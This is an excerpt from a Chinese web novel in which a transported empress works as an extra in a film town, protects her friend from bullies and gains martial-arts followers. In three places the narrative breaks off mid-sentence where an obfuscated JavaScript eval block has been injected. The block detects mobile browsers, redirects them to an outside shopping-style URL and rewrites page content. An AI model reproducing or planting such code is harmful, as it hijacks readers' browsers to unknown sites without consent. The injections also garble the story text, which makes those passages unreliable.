四周仿佛全部都被盖上了一层朦胧的纱,只有烛天南是那个撩开了纱,伸手攥住她手腕,笑语盈盈地看向她的人。 刺客就愣愣地被烛天南拽上了,然后又愣愣地回到自己原来的地方,愣愣地重新整理威亚。 中间的过程,她全都忘记了,只有刚刚烛天南笑着看她的那一幕反复在她的脑海里播放。 旁边的人都在讨论那位空降剧场,惊为天人的皇帝——烛天南。 一旁穿着舞女服的演员们见到刺客回来,笑嘻嘻地戳了下她,八卦般地问道:“怎么样,近距离看她,是不是真好看?” “三个字,简直了!”刺客使劲地点头,泪眼汪汪地说,“我可以!我真的可以!” 一看见那张人神共愤的脸,她顿时觉得,腰不酸腿不痛,就连刚刚腿上的疼痛,也没什么感觉了。 一旁演太监的嗤笑一声,不屑地道:“我只觉得她是整容的,看我去打假。” 刺客双手握拳,正想出言反驳,那位太监已经挥袖子离去了。 一会儿后,他回来,脸上带着可疑的红云,轻咳几声后,说:“其实嘛……早知道皇帝是她,我就去报名当妃子。” “你可是男的!”旁人震惊。 “女的可以当皇帝,难道男的就不能当妃子吗?”太监义正言辞地说。 “都别吵了。”此时的小王妃还是庶二小姐,她深深地叹了口气,剜了一眼不争气的演摄政王的演员,惆怅地说,“为什么,摄政王不能是她来演啊,嘤。” 摄政王双手举起,装作投降,无辜地说:“诶诶,这可不能怪我啊。” 大家一起叹了口气。 导演这边正在焦头烂额地找原因。明明全部都是按照本子上拍的,大家演得也无可挑剔,可怎么就是觉得奇怪呢? 两人讨论十几分钟后,得出了一个荒谬的结论。 烛天南的气质太出众了,放在里面,被轻松刺杀后,有种格格不入的荒唐感。 “其实我觉得,最后那下可以躲的。”编剧认真地说,“遇见了危险,躲避不是人之常情吗?” “可是,皇帝如果不死的话,男女主之间的感情就走不了了。”万导演摩挲着下巴,有点为难。 此时烛天南端着一杯水,正好路过他们。 万导演顺手叫住了烛天南,指着剧本和屏幕,不抱希望地问:“诶,你有什么想法?” “我?”烛天南看了他们两人一眼,思索片刻后,说,“其实我觉得,皇帝被刺客如此轻率地杀死,不现实。” “哦?”万导演来了几分兴趣。 烛天南沉吟片刻,道:“皇帝已经被架空了,但也不可能没有忠诚的手下。再松懈的守卫,也绝对不会纵容刺客忽视他们的防卫,直接杀掉皇帝。否则,这岂不就直接昭告世人,自己的防御形同虚设?所以,想直接杀死皇帝,绝对不现实。” 编剧连连点头,眼睛发光,万导演也若有所思,有点为难,又略带执着地说:“可是,如果皇上不死,女主和男主就无法在为皇帝报仇的时候,推进感情。” “皇帝毕竟也是人嘛,她肯定也有自己的想法,不愿意当作傀儡的。所以,她会死,只有一种可能。”烛天南抛出了一句话。 万导演和编剧对视一眼后,看向烛天南。 -- 皇家晚宴。 真龙天子高坐明堂之上,九旒冕前的珠帘挡住了她的眼睛。底下的人捉摸不清顶上的人的心思。 官员们如游龙般走到摄政王面前,举杯恭贺摄政王。摄政王这边人如群云,衬得顶上的人身边冷清——即使皇帝身边也有侍从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150808|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们在服侍她。 一批舞女进场,翩翩起舞,恍若仙女下凡。 方才打着呵欠的看客们都看痴了,眼睛一动不动地盯着舞女——除了坐在最上面的人,皇帝。 她一手撑着头,另一只手把玩着酒杯。偶尔扫了一眼舞女,又兴致缺缺地移开视线。即便周围坐了几个妃子,但是她淡淡的反应,却让周围的人都看出了她的几分寂寥。 可不寂寥嘛。 周围的侍从和官员们心照不宣地越过了顶上人的位置,互相看了几眼。 皇帝身边的大太监,也抖了一下拂尘,意有所指地说:“有的人啊,坐得越高,就会离人越远,越不合群。” 他谄媚地看向摄政王,后者没有接话,慢条斯理地接过一旁侍女献给他的茶,抿了一口。 大太监却不恼,而是笑呵呵地又抖了一下拂尘。 谁都知道,如今的皇帝不过只有一纸虚名。真正有话事权,是坐在她的下方,穿一席黑袍的摄政王。得罪皇帝,还不如得罪摄政王。 忽然人群一阵骚动。 舞女中竟然混入了几个刺客! 惨叫声和桌子推拉的声音此起彼伏,大家光顾着逃命。而刺客离皇上竟然越来越近。 “保护皇上!”此时才有人扯着嗓子。 然而为时已晚,刺客已经逼近了皇上。 寒光一闪,最上方的皇帝像是察觉到什么,侧头躲过。 一把木柄匕首深深地刺进了皇帝背后的椅子之中。 妃子们尖叫跑走,一时间皇帝周围只有她一人。 “昏君!你拿命来。”刺客呵声,抽出袖中剑,纵身一跃,双目赤红,怒骂道,“你不顾朝政,流连后宫,还接二连三发起战争,害得我们家破人亡。都是你的错!” 听到指控,皇帝本来没有任何表情,然而直到听到战争一词后,她才猛然抬头,眼神里写满了难以置信。她转头望向摄政王,不顾皇家的礼仪,吼道:“摄政王!朕明明这么相信你,你怎么能……” 摄政王的动作一顿,接着更凶了,他的声音从熙熙攘攘的人群穿过来,“皇上,你别听信馋人的离间!他们都是骗你的!” 可是皇帝并不想继续听下去了。 刺客抓住这个机会,狠狠地刺向皇帝。 皇帝出乎意料地没有躲,胸口立马被扎入了一把匕首。 大股大股的鲜血往外涌,皇帝复杂地看了一眼刺客后,闭上眼睛,道:“就当,算了……” 她如一片枯萎的花瓣,无力地摔倒在地上。 谁也不知道她最后想说什么——也许是厌倦了当提线木偶的日子,也许是对久居高堂却不知民间疾苦而感到歉意, 可无论如何,生命确实在他们的眼下逝去。 刺客愣住了,随后便被赶来的侍卫抓住了。刺客咬破口中的毒,却被直接赶来的庶二小姐给卸掉下巴。 摄政王匆匆赶来,道:“我可以解释……” 庶二小姐连一个正眼都不给他。 两人的恩怨从此结下。 “好!”万导演站起来了激动地鼓掌。编剧也连连点头,赞同地说:“这样更加狗血,男主和女主的误会更深了,哈哈哈。” 接下来是补拍环节,换几个角度拍摄后,烛天南终于结束收工了。 介于她的表演非常出色,万导演乐呵呵地给她塞了两百块的红包。 她发现路边有9.9元的裤子,和19.9的衣服,便买了几件。这下,就不必穿着龙袍招摇过市了。 所有事情忙完后,她才开始逛着竖店。 烛天南打量着这座四千多年以后的城市,回忆着今天发生的一切,仍然难以置信。这种只有可能发生在戏本子里的东西,真的发生了,而且,她还接触到了许多神奇的玩意儿。 一个转角,她看见了一家24h便利店。 推门而入,烛天南看中了一份烤肠。她从没吃过这个东西,摸了自己摸口袋的厚度后,还是一咬牙,有点心疼地买下来,而后离开便利店,坐在了门口的阶梯上,细嚼慢咽地吃起来。 “诶,你怎么在这?”烛天南被拍了一下,她回过头,是小圆。 小圆双手拎着大包小包的塑料袋,像是把整个便利店洗劫一空了。她惊讶地问道:“这么晚了,你不打算回去睡觉吗?” 烛天南:…… 哦,对哦,她突然想起,她好像还没有睡觉的地方。 7. 第 7 章 “你怎么在这儿?”烛天南迅速转移话题,“看样子,买了不少东西嘛。” “哎呀,我都习惯啦,我租的房子就在着附近。”小圆将手上如山一般高大的东西放下来,砸到地上发出“砰”的一声。烛天南震惊地望向那堆东西,又看向小圆。 小圆憨憨地朝烛天南笑了一下,甩手道,“好朋友之间的互帮互助嘛。” “……我帮你拿点吧。”烛天南叹了口气,走上前提起几个袋子。 毕竟,她跟小圆也算是朋友,帮小圆拿东西也是理所应当的。 “那真的太感谢你了!”小圆轻快地答应了。 烛天南反而被小圆如此不设防的样子震惊到了,问:“你……这么信任我,就不怕我是什么坏人吗?” “不会。”小圆斩钉截铁地说,“我相信我的直觉,你是一个好人。” 好人? 烛天南挑了下眉头,并没有说话。 小圆住着的地方确实离24h便利店很近。她们离开便利店走了两百米,再拐个弯,就到了一栋楼前。 透过门的罅隙往里瞧,一楼是一个空旷的大厅,地上铺着许许多多的棉絮,但只有一两个人在那里坐着玩手机。 小圆疑惑地问:“咦?他们都去哪里了?” “谁?” “就是让我买这些东西的人呀。”话说着,小圆已经伸手摁下了门的把手,准备推门而入。 “小心!”烛天南余光中看见了门顶有个粉色的东西闪过,连忙将小圆拽回身后。 小圆一个酿跄,跌到烛天南身后。 门已经开了。一个粉色的脸盆倾倒着水,“哐镗”一声砸到地上。地面溅起了一阵及膝的水花后,落回地上,蜿蜒成奇形怪状的水渍。 如果不是烛天南将小圆拉回来,那盆水就要泼到小圆身上,而她手里的东西也会被打湿。 小圆惨白着脸,躲在烛天南背后瑟瑟发抖。 门内的人突然多了起来,其中一位双手环抱置于胸前,略带遗憾地说:“啊……怎么差一点。” 是方格。 烛天南沉声道:“你们这群人,怎么能随便欺负小圆?” “哈哈哈,我们这是欺负吗?”方格等人哈哈大笑,“你可以问问小圆,她是不是自愿的。” “就是,你情我愿的事情,怎么能叫做欺负呢?” 烛天南皱眉,回头:“你经常帮他们带东西吗?” 小圆咬着下唇,瞥了一眼他们后,轻轻点头,天真地说:“他们说,帮他们买东西了,他们就不会刁难我们了。” “他们给你钱了吗?” “没有。” “……啊?” 饶是帝王的自我修养,也不能阻止烛天南的表情破裂。 她再次被小圆的傻白甜震碎三观。 “住手!一群有手有脚的男人,凭什么欺负两个女生?!” 此时,突然某个角落里,蹦出了一个人,跳在正在对峙的两方中间。 “拉武替过来欺负几个女生,算什么本事?”他顶着一头黑发,外表看起来细皮嫩肉,从未干过苦力。此时他正拿着一根晾衣杆,披着一张床单,义愤填膺地指着方格,道,“有种,我们来比划比划,来场男人之间的较量。” 方格显然是认识这个人的。他冷哼一声,鄙夷地说:“江易齐,我跟她们两人的私事,还轮不到你这只菜鸟插手。” “你……你……”江易齐被方格的话刺得脸发红,眼眶发红,胸口剧烈地上下起伏着。就在众人以为他会放狠话的时候,江易齐的眼泪比他的声音,率先不争气地流下来。 他捂住脸,想阻止眼泪落下,可是眼泪反而像是没有闸门的洪水,倾泻而出,“呜呜呜……你怎么……能骂人。” 方格嫌弃地说:“你看看自己,先天泪失.禁圣体,还没开始打就先哭了。搞得好像我把你欺负惨了。” 他一把将江易齐推开,走近烛天南,桀桀怪笑:“嘎嘎,你趁着没人,就来偷袭我。现在,我身边这么多人,你恐怕打不过吧。乖乖道歉,再跪在地上求饶,我可能还会大发慈悲,饶你一次不敬。” 他做了个手势,周围人也向前走了几步,黑压压的人群盖过了天花板吊着的白炽灯,投下深深的阴影笼罩住了烛天南和小圆等人。 小圆这才意识到自己太过天真了,身体抖得更加厉害,眼泪也开始储蓄在眼眶之中。 烛天南也只觉得有些难办。 她手上没有趁手的武器,双拳难敌四手。 “首先,既然是我惹到了你们,那么,请不要将任何无辜的人牵扯进来。”烛天南挡在小圆面前,向前走了几步,冷静地说:“其次,我,从来都不会跟任何人道歉。” “哈哈哈,有骨气,可是在我们面前行不通。”方格仰天大笑,面目狰狞地说,“在这里,武力为王,给我上!” “都说了,住手!”江易齐又跳到方格面前。他已经擦干了脸上的泪水,挥舞着他手上的晾衣架,耍了几招。一招一式,有板有眼,有模有样,最后定格在了一个姿势上。 江易齐义正言辞地说:“我妈说过了,只会欺负女生的人,都是孬种。有本事,就冲着我来。” 一时间,大汉们犹犹豫豫,不敢向前。他们被江易齐的招式震慑住了,再加上他的狠话,他们也不确定他是不是真的有一套。 烛天南若有所思。 江易齐动作行云流水,气势逼人。虽然跟她学过的武术原理有点冲突,看起来很像花花架子。 但说不定,新华夏的武功确实就是这种类型的呢。 方格闭眼,额头上的青筋爆出,字像是从他的嘴里挤出来的一样,道:“他就是个花架子,你们人那么多,直接上,打他一顿,他就老实了。” 江易齐脸色骤变,大汉们恍然大悟。 江易齐还想再挣扎一番,但是大汉们蜂拥而上,轻松将他擒获,想将他揍了个鼻青脸肿。可他们的拳头刚刚举起,江易齐便如同脚底抹油了一般,从他们密集的拳头离溜出来了。 大汉们不解,震惊,愤怒。 他们继续尝试逮住他。 眼前一幕看起来鸡飞狗跳,十分混乱。原本在地上打地铺的那些人也不知何时收起他们的大通铺床位,缩在角落看着他们。 烛天南扶额苦笑,她不知道该用何种表情来面对眼前这种离谱的场景。 余光中,她发现刚刚江易齐手中的晾衣杆被扔到了旁边,离她只有十几步之遥。 烛天南眼睛一亮,同时方格也发现了这跟晾衣杆,离他也只有十来步。 两人的视线在空中短暂的交锋,迅速激起了剧烈的电火花。 就在这一瞬间,两人都知道了对方的意图。 “别打了,把这跟棍子抢到再说!”方格放出话后,自己也扑上前。 大汉们愣住了,愕然回首。 江易齐捂住头,嘴上逞强道:“呵呵,只欺负女生算什么本事?有本事就打死我啊。略略略。” 大汉们被挑起了怒火,又朝着江易齐攻击。 烛天南迅速大跨一步,却未曾想脚下是一滩水。 鞋子和湿滑的地面发生了滑动摩擦,“嗞溜”一声,烛天南只感觉自己的身体慢慢下降,方格的脸上慢慢地爬上了幸灾乐祸,脚上的动作也慢了几分,但仍然比她更接近晾衣杆。 烛天南心中一沉。 可恶,这可是她唯一能用的武器。 她怎么能就这么轻松地,将这跟棍子,拱手让给他人? 那一刻,烛天南心里有了对策,调整姿势。她曲起一只脚,顺势落地,同侧手掌轻轻碰地,保持平衡,借着身体的惯性,化成了一个漂亮的滑铲。 9.9的地摊货裤子比地板还要丝滑,再加上水渍的帮助,烛天南的速度远远大于方格的速度。 大汉们也终于逮到了江易齐,正当他们决定教训一下江易齐的时候,他们一抬头,便发现了非常不可思议的场面。 方格从一开始的不屑,变成了满脸的不可思议。 他只看见烛天南不知道从哪里冒出来了,抄起晾衣杆后还不停止,直冲冲地朝着他来。 方格此时已经来不及左右躲闪,只能向后奔跑。 可是,着怎么能跑得过有9.9的丝滑裤子加持buff,且正在滑铲的烛天南呢? 于是几秒后,方格只感觉自己在空中转了四周半,然后如同秋风落叶般,“啪叽”一声砸到地上。 烛天南在方格的拦截下,速度减缓了。 但她没想到,方格身后还有一群人。 烛天南不想伤及无辜,手掌触地刹车,同时向前的脚改变方向。 她以手为圆心,在原地转了个圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150809|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,停下收腿,核心发力,直接站起来,最后再将晾衣杆撑在地上。 顿时,人群一片尖叫:“哇,好帅,啊啊啊!” 烛天南这才发现围观的人变多了,她轻咳几声后,说:“低调低调。” 【陛下,真爱粉数量加了30。】 趁没人注意,烛天南悄悄揉了一下腿。 方格狼狈地爬起来,指着烛天南,道:“你……你不讲武德!” “是你不讲武德在先。群殴算什么本事?”烛天南负手冷哼了一声,她瞧见江易齐的脸上已经有了一块青一块紫,便举起晾衣架,指向大汉等人,冷声道,“现在,是我的回合了。” 话音刚落,大汉等人只感觉一阵风刮过。他们下意识地捂住头,闭眼睛。 再次睁开眼睛时,烛天南还在原地,只是拿着晾衣架的姿势变了。 她的凤眸一横,眼底划过一道冷芒,发丝在空中飘舞,像是刚刚运动完后徐徐停下。 “什么……她的速度竟然如此快?!”大汉们大惊失色,身上突然感觉非常疼痛,眼泪夺眶而出,“扑腾”一声跪倒在地上,泪流满面地求饶,“我们错了……我们只不过是来恐吓你的演员,我们之前什么坏事都没有干过。要怪就怪方格!是他找我们来的。” 方格震惊地指着反水的大汉们,又指着烛天南,目瞪口呆,激动得半天都说不出一句话,最后只能捂住脸,陷入深深的崩溃之中。 周围的人见此,更是尖叫,“天啊,这也……太帅了吧!” 735震惊。 【宿主,你的速度真的好快啊,连我也没有看清。这是怎么做到的啊?】 “啊?不知道啊,我还没开始动手。”烛天南只觉得莫名其妙。 735:? 烛天南打量着四周。入口的那扇大门对面也有一扇门,而刚才有人进来了,这扇门因此打开。 两扇门都打开了,南北通风,有风是再正常不过的。 735顿时无语。 烛天南心里明白了整件事情的来龙去脉。不过她并不打算解释,道:“那现在,武力为王,我赢了,对吗?” 所有在场的人点头。方格挫败地跌落到地上,大汉们惊恐地抱住彼此,瑟瑟发抖。 “那好……你们不准再找小圆和江易齐等人的麻烦了。”烛天南用晾衣架指向地上的方格和大汉们,冷面道,“以及,以后,我若是见到你们欺负别人一次,那么,我就……” 她的声音冷然,充满着上位者的压迫。 “是,是……”大汉们听出烛天南没有想要继续追究他们责任的意思,撒腿就想跑,然而被烛天南叫住了。 “等等,你们欺负人的事情还没算。” 大汉们僵硬地回过头,发现江易齐得意洋洋地站在烛天南的旁边,脸上落了几个青紫色块,但并不能阻挡他骄傲叉腰。小圆也被拉到了烛天南的身旁。 “至于是道歉还是其他的……那就交给受害者们处理。”烛天南就像是审判正义的法官,盯着这群大汉们。 大汉们不得不灰溜溜地站成一排,先给他们欺负过的人道歉,然后该还钱的还钱。 江易齐不客气,得意地让他们给他鞠躬500次,一边90°鞠躬一边道歉。 大汉们心里窝着一团火,特别是看见如此欠揍的江易齐。可是碍于烛天南的威胁,他们也不得不照做了。 “姐,还好有你。”小圆拿着钱,开心到流出了眼泪,“哦,对了,姐,你住哪里?我到时候就找你玩。” “我?我大概去捡几堆草,铺在宫墙的屋檐下,再去垃圾桶翻找几个塑料袋,盖在身上当被子。”烛天南一本正经地说,越说越觉得可行。 这是她在路上想到的,经过深思熟虑了的。 她现在身上没多少钱了,不知道还能不能维持自己最基本的生命特征。 所以这个方法,可以完美地满足她的需求。 “那……姐,你跟我一起住吧?”小圆牵过烛天南的手,摇摇晃晃,目光里充满了祈求,“这样,你睡觉的地方就能解决了。外面太危险了,而且蚊子也多,可能还会有人贩子。” 就算烛天南的实力很强,但是在睡觉这种无法警惕的时间段,谁也不知道会发生什么。 “而且,万一他们又来找我,来欺负我……我怕。”小圆可怜兮兮地说。 8. 第 8 章 “那……我答应你。”烛天南也担心小圆被麻烦找上门,再加上自己无处可去,顺水推舟答应了。 毕竟,小圆算是她在这个世界里,第一个朋友。 剩下的人不敢拦住她俩。 烛天南跟着小圆来到了两扇紧闭着的银灰色金属色泽的铁门。 小圆不知道按了什么,封闭的门张开,里面除了地面,都裱满镜子。 烛天南只是稍微动了一下,里面无数个烛天南也跟着动。 见到小圆径直走进去了,烛天南心里踌躇片刻,也犹豫地跟上。 “还好现在没人跟我们挤电梯。不然,电梯一会儿停又一会儿上升,也太麻烦了。”小圆小声嘀咕着,同时刷起了手机。 门缓慢合上,灰色调的电梯透露着一股生人勿近的冷漠质感。 烛天南好奇地望向镜子中的自己,白T,黑裤子,拖鞋。 镜子中的自己也回望她。 烛天南满意点头。 她真好看。 这个电梯,倒还挺有趣的……只不过,小圆家就在这里吗? 电梯大概有五个化妆室试衣间的面积大小,普通人连躺下去都伸展不了胳膊,更不用说,这里还没有被子那些东西。 正当烛天南百思不得其解的时候,突然她听到了一个声音。 “叮咚。” 门再次开了。 外面不再是一楼的大堂,而是一条走廊。 烛天南:!! “终于到了。”小圆顺手从口袋里掏出了一把钥匙,一边走出了电梯。 电梯门很灵敏,亮了几下灯就显示要关上了。 烛天南连忙小跑步,穿过即将合拢的电梯门缝隙,三两步跟上小圆的步伐,同时好奇地打量着周围,跟着小圆进了她租的房子。 小圆租的房子有两间卧室,正好有一间是空的。 烛天南非常幸运地分到了剩下的房间。 她真诚地说:“谢谢你……租金大概是多少?我跟你平分。” “我一个月要交3000。那你给我1500就行了。” 烛天南揣着口袋里的几十块,陷入了深思。 “钱的事情好说,也不着急。你可以慢慢来。”小圆带着烛天南转悠了一圈家后,介绍完,推开自己房间的门,打了个呵欠,道:“我先睡了,你也早点休息吧。” 烛天南也简单地洗漱。躺在床上时,困意渐浓,陷入了黑暗之中。 接下来的一段日子,烛天南接到了几个跑龙套的工作,也被拉凑过当过群演。 泥巴、煤炭粉等黑乎乎的玩意儿糊在脸上,气质再出众的人,也会在这种buff加持下,变为堪比难民的难民。 好在剧场包饭,小圆包住宿,一时间她的花销也不太大,口袋里的存款也慢慢能攒过五百。 烛天南也开始慢慢融入这个现代社会。 日子是会慢慢好转起来的。 有被刁难的前车之鉴,再加上烛天南发现,自己的身体素质与前世相比,相差甚远。 烛天南总会在凌晨五六点的时候爬起来,去一两千米之外的偏僻小公园里,锻炼身体。 时间久了,自然会遇到某个奇怪的人。 远处的东方隐隐约约泛起了鱼肚白,过于冰凉的风穿梭在竖店的各个角落。 烛天南刚刚凭借着自己的记忆力,一手虚握,练了几招剑法,突然回头。 背后模仿着她动作的江易齐迅速收回动作,立正站好,同时假装抬头望着天空的太阳,一手揉揉脖子,另一只手揉腰,顺便蹬蹬脚,给人一种很忙但又不知道忙什么的感受。 烛天南无语:“你能不能不要再模仿我了。” “那你当我的师父。”江易齐可怜巴巴地看着她。 “不要。”烛天南干脆地拒绝。 “你……你……我……”江易齐涨红着脸,结结巴巴地说完后,泪珠子又不争气地掉下来,糊了满脸。 经过这么多天被拒绝的磨练,江易齐泪失.禁体质取得了巨大的进步——现在他可以多说一个字,再潸然泪下。 烛天南深深地叹了口气,想转身离去。 “且慢!”江易齐的声音在她背后响起。 烛天南的脚步顿住。 她回过头。 江易齐抹了一把泪花,义正言辞地说:“其实,你有所不知,你是我命中注定的师父。” 烛天南:? 【陛下,他是乱扯的,千万不要轻信了他的谗言。】 江易齐叹了口气,同时四十五度仰望天空,忧郁地说:“大师曾经算过我的性命,说我最近会有血光之灾,只有异性贵人才能拯救我。而大师算出来的地点,正好就在这里!” 烛天南:?? “竖店的人还挺多的,你凭什么认为是我?” 江易齐显然是早有准备,直接发问:“你叫什么名字?” “烛天南。” 江易齐双手一拍,一副“巧了”的态度,说:“那就对了,大师说过,我的贵人就叫烛天南。” 烛天南一眼看破江易齐的小心思,无语地说:“你这个贵人根本不存在吧。” 江易齐连忙扯开话题,挠头,故作百思不得其解般,纠结地说:“大师还说了,那位贵人风姿绰约,超凡脱俗,才华横溢,仙风道骨。” 烛天南想要离开的脚步顿住了,转身背手,嘴角微微向上勾,但有点为难地说:“这也不能说是我呀……” 江易齐像是陷入了自己的记忆之中,继续道:“那位贵人武功超凡,智勇双全,身手矫捷,激浊扬清。” 烛天南整理了一下头发,抚平衣服的褶皱,昂首挺胸,嘴角难以抑制地疯狂上扬,“听你这么说,也确实像那么回事。” 江易齐握紧拳头,认真地说:“那位贵人还正气浩然,龙章凤采,目若朗星,气压群雄。” 【这编得也太夸张了,他就是编的。陛下您人中龙凤,肯定不会落入他的圈套……】735不屑。 “咳咳,看来,这个贵人,真只能勉为其难地是我了。”烛天南难掩笑意,伸手虚握放在鼻尖前,道,“没想到,我隐藏得这么深,都被你看出来了。” 735:…… “所以,师父,你能收我为徒吗?”江易齐的眼睛闪闪发光,他的语气里充满祈求和期待,“上一次,你的出招太帅了,我根本就没有看清……我是真心热爱武术的!” “既然缘分到了这里,那我不收,也过意不去了。”烛天南向前走了几步,表情凝重。 猎猎风起,将她的19.9元的宽松白T吹得翩跹起舞,发丝也随风飞扬。 在灰暗的天幕下,即将破晓的前夕,她有几分像超凡脱俗的世外高人。 江易齐抱拳,精神气十足地说:“师父,请受徒儿一拜。” 他刚要俯身下拜,就被烛天南止住了。 远处的山头和近处的城墙逐渐染上日光。烛天南定的闹钟也响了。 锻炼时间结束,她要去指定地点集合,当跑龙套了。 “礼不必多,心诚即可。”烛天南慢悠悠地收拾好东西,潇洒一挥,留下一句话,“只不过,能学到多少,就要靠你的悟性了。” “是,师父!”江易齐像是想到了什么,又急切地问,“师父,我还有几个朋友,他们也特别想练,您觉得……” “那就都来吧。”烛天南心情正好,说什么都同意,挥手离开了。 走了一段路后,她像是突然想起什么了一般,问735:“对了,你刚刚说了什么?” 【……】 见到735许久都没有说话,烛天南百思不得其解,便道:“难不成,谁欺负你了?我帮你说教说教他。” 【无事。】735冷漠。 烛天南疑惑,但也没有放在心上。 第二天,烛天南照常来到这个地方练习,刚一到,脚步一滞。 她看向原本这个小公园,又回过头看顶上的标志牌。视线在这两点反复徘徊,像是在确认自己是不是眼花。 除了江易齐以外,这里站满了数不清的人。他们都穿着烛天南同款白衣袍,只不过上面多了几行字:s市传统武学交流协会。 见到烛天南来了,那群人大声喊,“师祖好!” 声音整耳欲聋,整齐响亮。 烛天南:……? 队伍里的江易齐出列,大踏步走上前,眼神真挚,作了个揖,道:“师父,这是徒儿收的徒弟。按照辈分,他们应该叫你……师祖。” “你真有徒弟?”烛天南难以置信。 她对江易齐的印象就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150810|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,容易泪失.禁的花架子,万万没想到他居然会有这么多的……额,徒弟。 “因为我的人格魅力很高。”江易齐骄傲地抬起头,补充了一句,“当然,跟师父您比起来,我差得太远了。” 烛天南愣愣地听着,点头,指向自己,疑惑地说:“那我……” “师父,您就做自己的事情就行了,不用管我们。”江易齐贴心地补充一句。 烛天南半信半疑,放下东西。 虽然她以前当皇帝的时候,接受过的目光比现在多多了。 但是此时,莫名的,她还是觉得如芒在背。 烛天南回过头,发现后面那群人抄起了树枝,悉悉索索的杂草和树叶正萧萧落下,如同漫天大雨。 烛天南侧头躲闪这阵堪比“暗器暗杀”的草叶雨。旁人只见她躲闪草叶雨,如蛟龙出海,一招一式都带着说不出的流畅和赏心悦目。 最后,草叶雨落在了地上,烛天南停下,食指和中指架着一片枯叶。飞扬的发丝和翩跹的衣摆才停下,如同她眼底坚定的光。 “这莫非就是失传已久的,游龙过海?!师祖居然会这么厉害的招式!” “好!不愧是师祖!我们心服口服!” 协会的成员们看见,双眼发光,拍手称好。他们互相比划着,努力复刻烛天南的动作。 【哇塞,陛下,您真是太帅啦!如此密集的草叶雨都能躲掉。】 烛天南扔掉手中的枯叶,抖了抖衣服。粘在后背衣服上的枯草和落叶纷纷落下。 原来后面真的有草芒。 【……陛下,原来你还是没有躲过啊。】 烛天南放下心,回头,简单地做了个热身运动,蹬脚,扭腰。 下一秒,她的背后响起了细碎杂乱的脚步声,如同千军万马在她背后奔驰,为她保驾护航。 烛天南:…… 她闭上眼睛,按照记忆里做了几个动作。扎马步。 背后的人,根据她的动作,依葫芦画瓢地耍了几下。 每出一招,就吼了一声。 烛天南冲拳。 背后的人冲拳,吼道:“哈!” 烛天南勾拳。 背后的人勾拳,吼道:“呵!” 烛天南:…… 烛天南站在他们一群人的前方,正处于音波攻击的最核心位置,一时间被这股军训教官最满意的气势震撼得头晕眼花。 她的内心惊骇许久:可恶,这莫非就是华夏电影里,传说中的狮吼功吗?今天领会了它的威力。 可……别对自己人开腔呀! 烛天南不满,站起来,转身,欲让他们小声一点。 然而背后的人们会错意,互相提醒:“大家认真一点,师祖要来检查我们的动作是否规范。” “师祖做的真是漂亮,一举一动都有着一气呵成的美感和流畅,我们就算练习千万年都无法追上。” “是啊,我们还有很长的路要走。” 听到众人的附和声,烛天南故作高冷地回头,心里为他们辩解道:他们只不过是学艺不精,一不小心误伤了队友。她身为来自四千多年前的老祖宗,又是当过皇帝的人,自然要对他们这些后辈们宽容一些。 一群人齐刷刷地练招式,声音势如长虹,大家越练越精神。 好在烛天南选的地方比较偏僻,周围没有多少人,不会造成扰民。 突然,一个欠扁的声音再次响起。 “好你个烛天南,这下终于被我逮着了吧,哈哈哈哈。”方格一边大笑,一边闪亮登场。 周围站着黑夹克等人,他们都拿着棍子,桀桀怪笑。 方格已经蹲点很久了。 据他的观察和小弟们的汇报,烛天南每天都会在这个偏僻的地方“练武功”,身边除了一个爱哭的花架子以外,什么人都没有。 古人云,一鼓作气、再而衰、三而竭。 但他,愈挫愈勇,愈败愈战! 他特地找了他的好兄弟们,一起围堵烛天南。 这次,一定要,一雪前耻! 方格心里暗爽,然而一抬头,便与烛天南对视。 烛天南后面黑压压的人,听到声音后,齐刷刷地抬头。 n双眼睛全部集中在方格一人的身上。 方格:…… 9. 第 9 章 错觉,一定是错觉。 方格等人恶狠狠的表情凝固在脸上,有种滑稽的尴尬。他们不约而同地选择倒车,齐刷刷地往后退了几步,步子整齐得仿佛刚刚结束军训,一起消失在了烛天南等人的视线尽头。 在烛天南等人莫名其妙的目光下,方格几人又闪亮登场。 “哈……哈哈。烛天南,我们找你找得好苦啊。”方格再次说出反派宣言,然而声音越来越小,就像是逐渐被关在了真空筒里的响亮闹钟。 烛天南好整以暇,等待他后续该说的话。 “啊……哈哈,今天天气真不错啊。我们找你分享一下天气。”方格看着天上的阴云,尴尬地笑了一声。他稍微向后退了几步,隐约有胆怯之意。 大爷的,居然不是错觉。 怎么今天人这么多? 方格心里暗道不好。 烛天南的凤眸已经眯起来,望向方格的视线隐约充满了些许危险和威胁。 方格心头一跳,伸手,准备阻挡他的同伴们往前冲。 而他的同伴之一,黑夹克,却以为,这是冲锋的信号。 